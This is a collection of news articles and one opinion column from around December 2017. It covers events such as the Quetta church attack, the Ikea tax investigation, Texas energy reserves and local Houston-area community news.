Despite Russia's withdrawal, the Ukrainian side of the JCCC will continue its activities in a regular mode and will cooperate with the special monitoring mission of the Organization for Security and Co-operation in Europe, which is deployed in eastern Ukraine, the statement said.

The JCCC, consisting of Russian and Ukrainian officers, was set up in September 2014 by an agreement between Russia and Ukraine to assist the implementation of the Minsk agreements on a settlement in Ukraine.

Earlier on Monday, the Russian Foreign Ministry said the Russian military will abandon the JCCC due to Kiev's "obstruction" to their activities.

The conflict between government troops and pro-independence insurgents started in Ukraine's eastern Donetsk and Lugansk regions, together known as Donbas, in April 2014.

The Minsk agreements, reached in September 2014 and February 2015 respectively, envisage a ceasefire, a withdrawal of heavy weaponry from the contact line, a prisoner exchange and local elections in Donbas, among other measures.




You are here: World

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At least 10 people were crushed to death and over 50 others injured on Monday after a stampede occurred during a funeral rite of a political leader in Bangladesh's southeastern Chittagong city.

Chittagong Metropolitan Police (CMP) Commissioner Iqbal Bahar confirmed the death of 10 people during the tragedy.

He said 10 more people have been rushed to a hospital with critical injuries. The deadly stampede happened in Chittagong's Rima Community Center, one of the 14 venues where the funeral ritual food was arranged, specially for non-Muslim people, he added.

Most of the victims reportedly died from suffocation.

The victims died while along with thousands of others scurrying into the community center for lunch offered as part of funeral rituals of ABM Mohiuddin Chowdhury, a leader of Prime Minister Sheikh Hasina's ruling Bangladesh Awami League party and also a former mayor of Chittagong.

Chowdhury died on Dec. 15, bringing the curtain down on a glittering political career spanning over five decades.




A Christmas tree is light up in the lobby of the Sheraton Guiyang Hotel. [Photo provided to chinadaily.com.cn]

Despite being a Muslim, I look forward to this time of year to share the jovial activities of Christmas and New Year's with my fellow human beings, regardless of their religious beliefs.

Without putting too much emphasis on the holidays' religious significance, appreciate their tendency to bring people together.

In my hometown of Montreal, I enjoyed seeing people of all nationalities acquiring a generosity of spirit despite lacking time to finish their shopping lists before Dec 24.

They usually greeted each other with a genuine smile and a common phrase, "Merry Christmas and a happy new year."

Most companies, firms and organizations held Christmas parties, during which all staff members put their competitive natures and office politics aside to enjoy the friendly atmosphere of the parties while toasting the upcoming holidays. Some bosses were generous enough to buy gifts.

The city streets were decorated with Christmas trees, adorned with Christmas memorabilia and bright colorful lights. The city became alive day and night, with the festive spirit working its magic upon it.

At that time of year, I knew some Canadians fell victim to despondency, due to having no one to share the joys of the holidays with. Homeless people suffered the freezing cold of the Canadian winter without enough food to satisfy their hunger.

The spirit of the holidays prompted generous people to offer much-needed help to the less fortunate. Some volunteered at homeless shelters, while others donated food and clothing to charities.

I frequently think about the possibility of transcending our differences to rejoice in the festive activities at this precious time of the year. Why can't we be that generous, kind and courteous toward one another all year round?

During my stay in China, I was delighted to discover my students were kind enough to take a few moments and email me thoughtful ecards, or bringing symbolic gifts to the classroom, knowing full well I am a Muslim. They knew I celebrate all special events regardless of their religious significance.

I also learned some schools in China hold Christmas parties for their students, while dining establishments host Christmas and New Year's parties to accommodate foreigners in China.

Foreigners in China will certainly fall victim to a terrible feeling, having to spend that special time of year without their families and friends. If you have a foreign friend, a coworker or a neighbor, please take a moment of your time to wish them a happy holiday.

You could be noble enough to invite them to a simple meal at your home. You would be doing them a tremendous favor by helping them avoid the feeling of being alone. You could even take them on a night out to chase the blues away.

I must seize this opportunity to wish all foreigners in China "Happy holidays", and a "Merry Christmas" to those who celebrate it.

And to my dear hosts, all Chinese families, I wish a very Happy New Year and an ardent wish the new year will bring them excellent health, abundant prosperity and ultimate happiness.

Sava Hassan is a Canadian Egyptian educator.

The opinions expressed here are those of the writer and don't represent views of China Daily website.
As charities roll out Christmas giving catalogs, some will ask for a longer commitment than a one-time December gift of a goat or cow for a needy family.

The practice of asking for a monthly commitment to a specific child is well-knownits been around since the 1930s, and nearly 9 out of 10 Americans are familiar with it (87%), according to a study by Grey Matter Research and Opinions 4 Good of 1,000 American charitable donors.

In addition, 1 in 4 donors either sponsors a child now (9%) or did so in the past (17%). Another 1 in 4 has considered doing so.

But just because donors have heard of child sponsorshipor have done itdoesnt mean they understand all the details.

There have been reports of deceptive practices and questions of whether the model is ethical, but also independent studies that confirm the widely positive impact of sponsorship, researchers explained. In qualitative research, Grey Matter has heard many individual perceptions of sponsorship, ranging from It gives me so much joyits the best thing Ive ever done to My friend has one of those pictures on her fridge and I keep telling her its a total scama thousand other people have that same picture.

The power of child sponsorship lies in the direct connection between the donor and the child. But it can also be confusing.

Almost three-quarters of donors believe that child sponsorship doesnt really help one specific child (74%), instead going to the charitys overall programs. Those who currently sponsor a child feel even more strongly about this than those who dont.

But it turns out there is no right answer to this question. Each child in our international child sponsorship program is matched with just one sponsor, World Vision spokesperson Cynthia Colin told CT. That said, World Vision believes the best way to change the life of a child is to transform the community where he or she lives, to ensure sustained long-term improvement in childrens well-being.

Compassion International also pairs each child with one sponsor. With sponsorship numbers north of 3.2 million (World Vision) and 1.6 million (Compassion), the ministries are the heavyweights in a crowded field. The Evangelical Council for Financial Accountability lists about 218 members under the child sponsorship category; of those, 15 said child sponsorship is their primary aim.

In Compassions model, when a sponsor gives to our ministry, he or she knows that the money will be spent at the local church level to directly benefit his or her sponsored child, spokesperson Tim Glenn told CT. In my case, I can rest assured that Hamilton in El Salvador is being fed, getting help with his school work, learning about health and hygiene, developing his social skills, and is being taught Scripture-based values as a direct result of my sponsorship commitment.

But neither Compassion nor World Vision sends checks directly to children.

Instead, we combine sponsors donations to ensure we can most effectively tackle the root causes of childrens vulnerability at the community level, Colin said. Depending on the needs of a sponsored childs community, initiatives like clean water systems, improved schools, health clinics, farming co-ops, pastor training, and community savings groups are implemented to create a vibrant, sustainable future for vulnerable children, including the individual sponsored child. Our community development approach means that for every child sponsored, at least fourand in many communities, morechildren benefit also.

However, sponsor letters do go directly to the child, both World Vision and Compassion said. Current sponsors know this: 58 percent agreed strongly, and another 37 percent agreed somewhat. Overall donors were more skeptical35 percent thought sponsors probably didnt get real contact with their child.

We know that when sponsors exchange correspondence with their sponsored child, there is evidence of positive benefits for the child such as increased hope, happiness, and confidence, Colin said. That hope is the hard-to-measure key to the measureable success of Compassions kids, who exchanged 8 million letters with their sponsors in the last 12 months.

Organizations that offer the option to visit a sponsored child help their donors to feel their operation is legitimate.

I have seen these meetings take place dozens of times and I can tell you it is powerful every single time, Glenn said. Theres nothing like watching a sponsor hug his/her sponsored child for the first time. Sponsors can walk into the classrooms at the Compassion child development center and see the very desk where their child sits. They can meet the volunteers who cook hot meals for the children or chat with the teachers who give their time to tutor and mentor each child. Its a life-changing experience for everyone involved.

Still, once in a while a problem will pop up: a sponsor receiving letters three years after a childs death at one organization, or sponsors and children who never connected at another. And those troubles can make donors and potential donors suspicious. About 3 out of 5 donors (64%)and even of all current sponsors (60%)said theyd heard of problems that make them question how genuine sponsorship is.

And more than half of donors (55%), including current sponsors (54%), said that child sponsorship was mostly a gimmick to get donations.

This number threw Grey Matter for a loop. Because whyif more than half of donors think its a gimmickare they still participating?

They may be interpreting that word more along the lines of hook or attention getter and apparently are comfortable with that description, the report said. Our experience with donors is that many realize and accept theyre being marketed to.

World Vision objects to the word altogether. Child sponsorship isnt a gimmick, Colin said. It is a tangible way to help transform a life.

At least a quarter of donors think its both. Three-quarters say that child sponsorship is a genuine, credible way to help kids in need. Understandably, the number rises to 98 percent of current sponsors, while those who would never consider it werent as convinced (53%).

Child sponsorship has independent research on its side. A 2013 study found that Compassions sponsored children stayed in school more than a year longer than their unsponsored siblings. In addition, they were:

27% to 40% more likely to finish secondary school

50% to 80% more likely to complete a university education

14% to 18% more likely to have salaried jobs as adults

35% more likely to have white collar employment as adults

30% to 75% more likely to be community leaders

40% to 70% more likely to be church leaders

World Vision and Compassion both affirmed a high rate of sponsor satisfaction: 90 percent of World Visions American child sponsors, and 96 percent of Compassions sponsors around the world, report that they are satisfied with their experience.

Compassions overall donor retention rate is 85 percent, Glenn said. Thats almost double the nonprofit industry average (43% in 2014). World Visions is between 85 percent and 90 percent, Colin said.

Many donors dropped after Compassion was forced to leave Indiaby far the ministrys largest country by participationwhen the government blocked its funding last year. Nearly 150,000 sponsored children were cut off from their sponsors.

Globally, 68 percent of our sponsors committed to sponsoring another child elsewhere, Glenn said. Thats a remarkable retention rate for such a traumatic event. And believe me, it was just as traumatic for sponsors as it was for us and the 149,000-plus children who no longer receive direct benefits of Compassions work.

Those nearly 100,000 sponsors picked up children in the 25 other countries where Compassion works, such as Ecuador, Ethiopia, and Indonesia.

And in India, over 200 of those local church partners in India are still working to provide some form of holistic child development to the children in their communities, because they saw first-hand the value of what Compassions program offers, Glenn said.

CT closely followed Compassions struggle to stay in India, along with its hope of a return. CT also covered the evidence that Compassion makes a difference, the efficacy of World Visions cash gifts, and how college students at a weekend Passion conference sponsored every Compassion child available in four countries.
Pakistani Christian mourners buried their dead on Monday, only a week before the celebration of Christs birth.

Worshipers were lining up to take communion on Sunday morning when at least two men, armed and wearing suicide vests, attacked Bethel Memorial Methodist Church in western Pakistans provincial captial city Quetta. They left at least 11 dead and more than 50 injured, many in critical condition, unofficial local figures said.

It was a pleasant morning, said Sohail Yousuf. We had sung songs, and children had presented a Christmas program. Pastor Simon Bashir had finished his sermon, and we were moving towards the altar when we started hearing gunfire outside the church.

Yousefs 13-year-old daughter Mehak lost her life; her 16-year-old sister Wasiqa is in critical condition after an operation in Quettas Combined Military Hospital (CMH).

A manager in an insurance company, Yousef migrated 16 years ago to Quetta from Punjab after his wife, a government schoolteacher, was posted there.

We bolted all the doors and were praying that God would protect each of us, he said. Then a suicide bomber blew himself up at the main door. The explosion shattered the door and injured many inside. When some rushed outside, they were injured by gunfire as the terrorists were on the church lawn. But soon the situation was brought under control by the volunteer church security guards and police present there.

Caritas executive director Sheezan William told World Watch Monitor that the first person killed was the church security guard George Masih, who tried to stop the men advancing toward the church.

Image: World Watch Monitor

I came to know what was happening while the exchange of fire was taking place, William said. I phoned two youths in the choir. I could hear gunfire on the phone and then rushed to the church.

Leading Pakistani newspaper Dawn confirmed that police intervened after the church security guard tussled with one attacker. About two hundred congregants were inside the church, which was decorated for Christmas, when the terrorists unleashed their attack. Islamic State (IS) has claimed responsibility but provided no proof it was involved.

There were four attackers, according to retired brigadier Samson Simon Sharaf, a political analyst who is close to security agencies.

They were equipped with ample ammunition supply and were aiming to take worshippers hostage and kill them one by one, prolonging the scene of terror as much as they could, he told World Watch Monitor.

Video footage shows a church security guard was quick to close the door when he saw two men approaching. This provided more time for local security personnel to respond.

One terrorist was shot in the compound before he could blow himself up inside the church, Sharaf said. Meanwhile, the other one rushed to the church entrance where he blew himself up.

The agencies chased the other two who fled, he said, and a search operation is ongoing.

Image: World Watch Monitor

The incident has taken place close to the sad day in the countrys history, December 16 [when Pakistani forces were defeated in 1971, leading to East Pakistan becoming Bangladesh], Sharaf said. Our enemy keeps reminding us of our history. This time Christians are targeted who stand united with other Pakistanis against the menace of terrorism.

A team of about 70 youths worked to provide blood supplies, food, and other assistance to the injured, along with coffins for the burials, William said. He told World Watch Monitor that seven families living in the church compound, including that of the pastor, were told to vacate their houses. All of them have moved to relatives until the area is given clearance.

A few hours after the attack, Punjabi Christians staged a protest outside the Lahore Press Club, asserting that the government does not do enough to protect them against radical Islamic militant extremists.

Image: World Watch Monitor

Quettathe largest city of Balochistan, which is the largest province of Pakistansits along the Afghan border. The mineral rich, mostly hilly region is among the least populated areas in the country, and has long hosted an insurgent separatist movement. Many Christians in this province have migrated from Punjab but mostly remain unharmed by the separatists.

The Quetta Methodist church, established in 1959, came under the control of the Church of Pakistan in 1971 after six Protestant denominations, including the Methodist Church, united as one denomination.

On December 1, a seven-year-old boy and two others were killed during a hand grenade attack on the gates of a Christian colony in Chaman, also in Balochistan.

Last week, the EU envoy on freedom of religion or belief, Jan Figel, was in Pakistan, helping to set up an interfaith advisory commission to help stop misuse of the countrys blasphemy law.

Brutal terrorist #ChurchAttack in #Quetta, Figel tweeted after the attack. Our solidarity is with families of victims & strong condemnation of heinous crime. #FoRB, protection of minorities and fight against terrorism need urgent & adequate actions of #Pakistani authorities.

Since the 9/11 terrorist attacks in the United States, Christians in Pakistan have been the main religious minority attacked by communities under the pretext of blasphemy, and by terrorists on their places of worship. Six attacks on churches, Christian hospitals, and educational institutions immediately followed 9/11. Such attacks resurfaced again in 2013 with the suicide attack on All Saints Memorial Church in Peshawar province, which is also on the Afghan border. About 90 people died in that incident, including many children.

Then in March 2015, just before Easter, about 25 were killed when two churches in a Christian neighbourhood in Lahore came under twin suicide attacks. In 2016, a suicide attack in a Lahore park killed mostly Christians as they celebrated Easter.

This year, security was on high alert at Easter. In March, to prevent an attack, Pakistans military agency killed a man and arrested his ISIS-trained wife. (She was later released.) Security agencies are also on high alert for Christmas.

The worst attack in Pakistans historywhich triggered new anti-terrorism lawstook place three years ago in Peshawar when terrorists raided an army public school and massacred 141, including 132 children.
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A former UISD teacher recently arrested on allegations of production of child pornography allegedly took photos of himself engaging in sexual acts with a 16-year-old girl, according to court records obtained Monday.

Ruben Guillermo Ulloa, 37, allegedly had a sexual relationship with the girl from 2015 to 2017. Ulloa was the girl's school teacher, states the criminal complaint filed Thursday.

RELATED: Former UISD teacher charged with production of child porn

Before he was charged with production of child pornography, Laredo police arrested him Dec. 7 on a sexual assault of a child charge. He made an initial appearance Friday before U.S. Magistrate Judge Guillermo Garcia.

Records show that around mid-September, the parents of a 16-year-old girl called Texas A&M International University Police Department to report that their daughter had been in a sexual relationship with Ulloa.

On Oct. 4, TAMIU police executed a search warrant at Ulloa's residence and seized electronic evidence, according to the complaint.

READ MORE: Suspected drug dealer caught on 'last delivery of the day'

About two months later, a Homeland Security Investigations special agent recovered images from Ulloa's Toshiba laptop. The images allegedly showed him sexually assaulting the girl, authorities said.

She was shown in multiple pictures that were recovered from Ulloa's laptop. She allegedly identified herself and Ulloa as the individuals who engaged in sexual acts.

"The victim stated that the photographs were taken by Ulloa using his cellphone," states the complaint.

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Ulloa has a probable cause and detention hearing set for Dec. 20. He faces up to 30 years in federal prison and a $250,000 fine for the production of child pornography charge.

Ulloa taught for one year at United Independent School District's Salvador Garcia Middle School. He resigned from the job in June. UISD said his departure did not relate to any alleged inappropriate or unlawful behavior.
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WASHINGTON - After a years long legal battle over an anti-corruption regulation aimed at oil companies, Republicans are moving to do away with the law once and for all.

Legislation awaiting a vote in the House would strip the legal requirement that oil and mining companies report to the Securities and Exchange Commission how much they pay world governments in taxes, royalties and other fees, a provision within the 2010 Dodd-Frank Wall Street Reform Act aimed at reducing instances of bribery in oil rich-states.

"The Trump Administration is restoring regulatory balance by reining in Washington bureaucrats," said Rep. Bill Huizenga, R-Mich, who authored the legislation. "The SEC is rightfully refocusing its efforts on helping investors make informed investment decisions  as Congress intended it to  instead of imposing non-material disclosure requirements that only seem to push a social agenda."

Since 2010 the SEC's efforts to write a rule forcing companies to comply with the law have twice met with roadbloacks, first in federal court after a challenge by the American Petroleum Institue and again earlier this year when the Republican-led Congress repealed an ammended version of the rule under the Congressional Review Act.

Corruption around drilling and mining continues to wreak havoc on economies in the developing world, where revenues from oil and gas fields can be difficult to track and easily diverted, and allegations of payoffs to government officials are rife.

Last month Houston-based SBM Offshore USA, along with its Dutch parent company SBM Offshore, agreed to pay $238 million to settle criminal charges brought by the U.S. Justice Department related to bribery in Brazil, Angola, Equatorial Guinea, Kazakhstan and Iraq.

RELATED STORY: SBM Offshore to pay $238 million in criminal penalties for foreign bribes

The transparency requirement in Dodd-Frank would bring the United States in line with other Western economies like Canada and the European Union, both of which require oil and mining companies listed there to report on payments made abroad.

"If there's no transparency there's very little way for citizens to hold their governments accountable," said Isabel Munilla, an analyst at Oxfam America, a non-profit that advocates for reducing global poverty. "The evidence shows without this information you cant take a government to court. The money gets siphoned off by terrorists. It's been used by ISIS and the Taliban, and it goes into the pockets of corrupt elites."

The oil industry's chief lobbying arm, the American Petroleum Institute, has long fought efforts to institute the anti-corruption provision within Dodd-Frank, arguing it would force U.S. companies to disclose their financial arrangements abroad - something competitor companies abroad would be keen to see.

In 2012 API, along with the U.S. Chamber of Commerce, sued the SEC to block them from implementing the regulation they'd written to comply with Congress.

"The rule as written would impose enormous costs on U.S. firms and put them at a competitive disadvantage against government-owned oil giants not subject to the rule," API CEO Jack Gerard said in 2012.

They won that case, arguing the SEC, which has traditionally been charged with protecting investors and regulating financial markets, did not have the authority to oversee anti-corruption disclosures - a legal point of view shared by others.

In 2013 Mary Jo White, the former chair of the SEC during the Obama administration, said in a speech that while "seeking to improve safety in mines for workers or to end horrible human rights atrocities in the Democratic Republic of the Congo are compelling objectives... I must question, as a policy matter, using the federal securities laws and the SEC's powers of mandatory disclosure to accomplish these goals."

For now, the SEC continues to move ahead on writing regulation that will withstand legal challenge. The SEC declined to comment, but their website states they are working on amending the rule, with a deadline of February 14.

Along with the legislation authored by Huizenga, which was approved by the House Financial Services Committee last week, a broader bill aimed at stripping down major provisions of Dodd-Frank also would repeal the anti-corruption measure. Named the Financial Choice Act, that bill passed the House in April and now awaits a full vote in Senate.

"Conducting American foreign policy is not what Congress created the SEC to do," said Huizenga. "With all due respect to the Commissioners and the SEC staff, none of them are foreign policy experts,"
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BATON ROUGE, La. - Federal regulators have found fresh evidence of an "ongoing oil release" at the site of a 13-year-old oil leak in the Gulf of Mexico, where chronic sheens often stretch for miles off Louisiana's coast, according to government lawyers.

In a court filing Friday, Justice Department attorneys said recent scientific surveys revealed two plumes of oil and gas flowing from where an underwater mudslide during Hurricane Ivan in 2004 toppled an offshore platform and buried the cluster of wells owned by Taylor Energy Corp.
OPEC's effort to slice into the global oil glut hasn't gone as well as it would like you to believe, the Dallas Fed argued this week.

While it appears OPEC's production cuts have reduced oil inventories in developed nations to half of their level above the five-year average, much of that decline came because the five-year average has drifted higher.
NRG Energy

The shutdown of three coal-fired and a natural gas plant will knock Texas' summer power reserves below the recommended level, according to a report released Monday by the Electric Reliability Council of Texas, which oversees 90 percent of the state's power grid.

ERCOT is charged with ensuring that Texas has enough power to meet demand on the hottest summer days, when electricity consumption peaks. In 2010, ERCOT in 2010 adopted guidelines calling for the grid's generating capacity to exceed demand by at least 13.75 percent.
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Ingvar Kamprad, the founder of the global furniture retailer Ikea, is known for buying his clothes at flea markets, driving an old Volvo and flying only economy class. Although he is a billionaire many times over, he revels in his reputation for saving money.

Now, European regulators are accusing Kamprad's company of pushing the concept of thriftiness beyond the limits of the law by maneuvering to reduce its tax bill in the countries where it operates.

The European Commission, the European Union's executive arm, said on Monday that it had opened an investigation into Inter Ikea, one of the retail giant's two main divisions, amid concerns it may have been given unfair tax advantages by the Netherlands, where Inter Ikea is based.

Ikea, one of the world's largest, and most opaque, privately held companies, reported revenue of 36.3 billion euros, or about $43 billion, for the most recent fiscal year.

But for well over a decade, Kamprad, his three sons and his close business associates have relied on a complex corporate structure to slash the taxes that Ikea pays on such earnings, regulators say. From 2009 to 2014 alone, Ikea avoided paying an estimated 1 billion euros in taxes, according to a 2016 report by the European Green Party.

Kamprad established the parent company, now called Inter Ikea, in the 1980s in the Netherlands, a country with attractive tax structures that have attracted Apple, Starbucks and many of the world's biggest multinational companies. Using a Dutch subsidiary, Inter Ikea Systems, Inter Ikea collects fees from Ikea's franchise businesses around the world equal to 3 percent of the revenue from all Ikea stores.

European regulators say that Ikea received a favorable ruling from Dutch tax authorities in 2006 that allowed Inter Ikea to send a significant part of those franchise profits, in the form of an annual license fee, to another company that Ikea created in Luxembourg, where it was not taxed.

Investigators are also examining how Ikea got a second favorable ruling from Dutch officials in 2011, after European regulators deemed the Luxembourg tax structure illegal under the EU's rules prohibiting companies from receiving state aid. That ruling endorsed a model that let Inter Ikea send a substantial portion of its franchise profit, via interest paid under an intercompany loan, to a company based in Liechtenstein.
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A crowd poured into Cross Church of Cleveland's Family Life Center Saturday, Dec. 16, for an early Christmas as Repair the Breach ministries hosted its annual Angel Select Toy Drive.

Repair the Breach ministries is a non-profit organization that seeks to help those who have lost their way or require assistance by providing for both spiritual or physical needs.

The organization worked alongside the Marine Corps Toys for Tots organization to bring Christmas cheer to needy families.

"We've given out 2,200 toys," said Toys for Tots Coordinator Morris Diehl.

The number of toys given out only increased from there as Cheryl Driver of Repair the Breach says the event dwarfs last year's Angel Select Toy Drive with more than 1,000 registered children altogether.

"We feel blessed to have the opportunity to make a difference," she said. "But we are needing our community to get more involved."

Parents moved through a line to the inside of the Family Life Center where other organizations and businesses passed out candy and other items. The Houston Food Bank also came to help the local public.

"Many of them were affected by Hurricane Harvey," said Driver.

Those who visited were also able to receive a single raffle ticket, which gave them an opportunity to win a bicycle for their children. The visitors were also able to pick up the gifts intended for their children.

The children visiting the Angel Select program were in awe of an appearance by Santa Claus, Ms. Clause and others.

Driver extends her thanks to the organizations and their contributions.

"It's been a blessed day," said Driver.
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Dogs are offering a special type of medicine to patients at Memorial Hermann Cypress Hospital as the facility joins a roster of surrounding area centers that includes a pet therapy program on site.

The four-legged friends visit the hospital's patient rooms, nursing units, and waiting areas. Hospital staff hopes the therapy dogs help to normalize the environment of the facility and play a part in making patients feel comfortable.

"Hospitals are scary places, no matter who you are or why you are there. It's amazing to hear some of the stories where pets have really impacted the patients," said Heather Rojas, Memorial Hermann Cypress Hospital director of volunteer services. "There have been stroke patients that have no movement on one side of their body who will lift their hand to pet a dog because they have that emotional pull towards the dog."

Various scientific reports show that pet therapy can be recognized as therapeutic and recreational. Some benefits of pet therapy include lessening depression, developing social skills, increasing verbal communication, and reducing anxiety because of its calming effects.

Rojas even recalls learning about a comatose patient that woke up when the therapy pet entered the hospital room. She also remembered there was a non-verbal patient that started talking to the dog when the dog came in to visit.

"It's a social aspect, but really a medical and health aspect too," Rojas said.

Tender Loving K9's is a volunteer nonprofit organization founded to provide purpose for lives while providing acceptance, warmth, and smiles to in the community who are in hospitals and assisted living centers. The organization also visits nursing homes, public libraries, rehabilitation facilities, and educational facilities in Katy, Richmond, Sugar Land, and Houston.

Tender Loving K9's was founded in 2007 by Sharon Evans and Shannon Smith as a local therapy dog organization that aiming to provide joy and comfort to the community.

"Back when we started this, I was training dogs. My grandmother was in an assisted living facility in Ohio at the time, and she loved when the therapy dogs came to visit. It was one of her favorite things in the world," Smith said. "Although, I knew we would never reach Ohio, I kind of knew if we paid it forward, then what goes around comes around. I was hoping if we did big things here, then maybe someone would do things there. So, that was my reason for starting it here."

Memorial Hermann Katy Hospital was the first facility the organization began to serve. Now, Tender Loving K9's serves Memorial Hermann Memorial City Hospital, Katy Rehabilitation, and the Cypress location.

Smith also has her pet, Bonny, a 12-year-old German Shepherd, serving as therapy dog.

There are approximately 40 active dogs in organization which include breeds such as Australian Shepherds, tiny toy Yorkies, Golden Retrievers, Great Danes, German Shepherds, and mixed breeds. All dogs are welcome, and interested pet-owners with friendly dogs are encouraged to apply.

"In organizations like this we can go out and brighten the day for people that might not have a chance to have that happen," Smith said. "For some people that we visit, we may be the only person they see outside of the facility in a long period."

All of Tender Loving K9's members are registered with Alliance of Therapy Dogs, a national therapy dog organization that sets the standards for testing and training to become a therapy dog team.

Organization leaders notice that the therapy dogs get excited about bringing joy to others.

"The dogs love it. You get out their vests and they get excited and dance around," Smith said. "I think it's a win-win for everyone."

Another organization that shares joy and comfort through pet therapy is The Woodlands/Houston Chapter of Therapy Pet Pals of Texas. The group serves The Woodlands, Tomball, Spring, Conroe, and Montgomery County areas. Therapy Pet Pals visits various health care centers in the community.

Therapy Dogs provide therapeutic support to people other than its handler. According to the American Humane Association, animal-assisted therapy is a goal-directed intervention in which an animal is incorporated as an integral part of the clinical health-care treatment process. Animal Assisted Therapy is delivered or directed by a professional health or human service provider who demonstrates skill and expertise regarding the clinical applications of human-animal interactions.

Memorial Hermann Cypress Hospital and Tender Loving K9's are hoping in the near future to add more days during the week for the dogs to visit the facility. As of now, Tender Loving K9's visits the hospital in Cypress from 2 to 3 p.m. on Mondays.

"The dog does something for people that a person can't do. They connect on a different level," Smith said. "It brightens the mood in the entire place, and the dogs walk through and work their magic. It's an amazing thing. Those dogs just have something special about them."

Want to know more?

Tender Loving K9's

http://www.tlk9.org
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The Houston Farm & Ranch Club, which hosted the annual Harris County Fair at Bear Creek Pioneers Park, closed its doors Dec. 1.

The action follows flooding caused by Hurricane Harvey that damaged buildings that housed the fair as well as other events to benefit young people and law enforcement.

Club officials Robert Ater, president, and Eddie Hudson, general manager, posted the closure on the group's website.

"Houston Farm & Ranch Club had 18 plus feet of water that covered the entire facility," according to the website. "The damage to all the buildings and grounds was so severe that it will be impossible for us to recover. The flooding was worse than the flooding in April of 2016."

After the Tax Day flooding, volunteers donated their time, money and materials to rebuild the Houston Farm & Ranch Club.

There will be no rebuilding now of those buildings nor of the nearby Bear Creek Community Center or the Agriculture Extension Building.

The recommendation not to rebuild the community center or extension office comes from John Blount, the Harris County engineer, and is supported by Precinct 3 Harris County Commissioner Steve Radack.

Both buildings will become open-air pavilions cohesive with the park and the potential of future flooding, Blount said.

Bear Creek Community Center was rebuilt after the 2016 Tax Day floods which caused $750,000 damage to the building. The rebuilt center opened in December 2016.

"It's eligible to be rebuilt under federal guidelines. I could be rebuilding it right now," said Blount. "The federal government would be OK. I don't recommend it. It doesn't make sense," he said.

Harris County Precinct 3 owns land along both Clay and Pine Forest that might be used to house a community center. The ag center will be relocated somewhere else, he added.

"We're moving forward. We hired a consultant to do design work and analysis," Blount said. The county also is waiting for federal funds to help pay for the relocation.

The 40th annual Harris County Fair relocated this past fall to the fairgrounds in Waller County after Hurricane Harvey flooded Bear Creek Pioneers Park. That will be the last fair.

Cheryl Ater, Harris County Fair secretary, said the fair declined over the years due to a lack of community participation.

"With the sale of their animals, our Harris County Fair was one of the main places for 4-H kids to show," she said. Most school districts have their own FFA shows, which kind of took away from the Harris County Fair, she added. The last scholarships will be awarded in the summer of 2018.

Ater became involved in the Houston Farm & Ranch Club after her daughter showed animals in the Harris County Fair.

"I hate to see it go. It's been part of my life for 25 years," Ater said. "There's nothing we can do about it. It's what it is."

The flooding left no place for the fair to move to, she said. "It's hard to get sponsors. It's hard to get people to volunteer. It's time to go."

The Nov. 14 Harris County Commissioners Court agenda included approval of a mutual termination agreement with Houston Farm & Ranch Club Inc. to void the previous agreement that allowed for use of and to make improvements to certain parts of Bear Creek Pioneers Park.

"I respect a lot of people who worked at the Houston Farm & Ranch Club," said Radack. "They had tough competition. It's hard to bring in the amount of people needed to bring in to pay expenses."

Radack said the county never should have built there. Bear Creek Pioneers Park will be modified to make it more conducive to floods, he said.

Precinct 3 also housed animals at the park as part of an unofficial zoo including emus, goats, horses and Vietnamese pot-bellied pigs.

Some animals remain. "Some of the animals are difficult to relocate when floodwaters come out," said Radack. For example, Animals of the Earth Inc. purchased the two emus.

"We're phasing out some of the larger animals," said Radack. Horses now are with the sheriff's department.

On the Farm & Ranch Club website, Ater and Hudson wrote, "This is the end of an era that we all knew one day would come.

"To those of you that have enjoyed, and supported Houston Farm & Ranch Club thank you for your participation and cherish all the friends and memories in the years to come."

Among those with fond memories is Robert Showell. Both he and his wife, Shirley, are longtime fair volunteers who also served as board members of the Ranch & Farm Club.

"One of the most enjoyable things we did out there on a yearly basis was a special needs children's day," said Robert Showell. Every year the Katy Cowgirls did a show and then helped any of the children who wanted to ride on a horse.

"For a number of years we had a wild game cookoff that benefited law enforcement," he added.
Courtesy photo

A visit to the hospital isn't always a pleasant one, especially for children. However, a special teddy bear aims to help kids through the process with flying colors. United Airlines recently donated dozens of Adventure Bears named "Ben Flyin" to Memorial Hermann Katy Hospital. The bears will be given to children as they undergo outpatient procedures, visit the emergency center, or are admitted to the hospital. This is the third year United Airlines has partnered with Memorial Hermann Katy for the Adventure Bear Program. Shown here are some of the United Airlines volunteers, Memorial Hermann Katy staff, and the bears.
Courtesy photo

The Houston Symphony and Music Director Andres Orozco-Estrada welcome back Russian pianist Kirill Gerstein to Jones Hall at 8 p.m. Jan.11-13 for Kirill Gerstein Plays Brahms.

Famously featured in Stanley Kubrick's The Shining, Orozco-Estrada will open the program with Bartok's masterful piece Music for Strings, Percussion and Celesta, an innovative piece that combines modern sophistication with the visceral excitement of Hungarian folk music. The piece features unique instrumentation and an unusual set up that allows for musical ideas to zoom back and forth across the hall.
Applications for an opening on the Board of Adjustment, and an opening on the Parks and Recreation Advisory Board, both of the City of Bellaire, will be accepted until 5 p.m. on Friday, Dec. 29. The terms for both openings will commence upon appointment by the City Council of the City of Bellaire, and end on June 30, 2018. Interested applicants will be interviewed by the City Council during the month of January or February of 2018.

The Board of Adjustment (BOA) consists of seven members and is responsible for considering applications for variances or special exceptions to the Zoning Code (Chapter 24, Planning and Zoning, of the Code of Ordinances of the City of Bellaire, Texas). Landowners or their agents apply to the City's Building Official of the Development Services Department. Formal dockets, which must be legally advertised, are scheduled for the BOA. Meetings are held to hear testimony on the applications. The BOA determines the outcome of all applications, which may only be appealed to a Harris County District Court. The BOA meets on the third Thursday of each month at 7:00 p.m. (unless otherwise stated) in the Council Chamber, First Floor of City Hall, 7008 South Rice Avenue, Bellaire.
The Sugar Land Cultural Arts Foundation will present the 2018 Founders' Review on Saturday, Jan. 20, from 6:30 to 10 p.m. at Safari Texas Ranch in Richmond.

The theme of this year's Founders' Review - Heart and Soul - was inspired by the dedication of the Sugar Land community to supporting the arts in Fort Bend County.

Attendees of the 2018 Heart and Soul Founders' Review can enjoy the performances of Samuel (Eddie) Cromwell and his Gospel Choir and a live auction, with items including, a one year pre-paid, 10,000-mile lease on a 2018 BMW 430i Gran Coupe, courtesy of Momentum BMW, available for bidding. In addition to the evening's festivities, SLCAF will also be honoring a couple who have poured their own heart and soul into giving back to a community they've called home for nearly 40 years - Bob and Carole Brown.

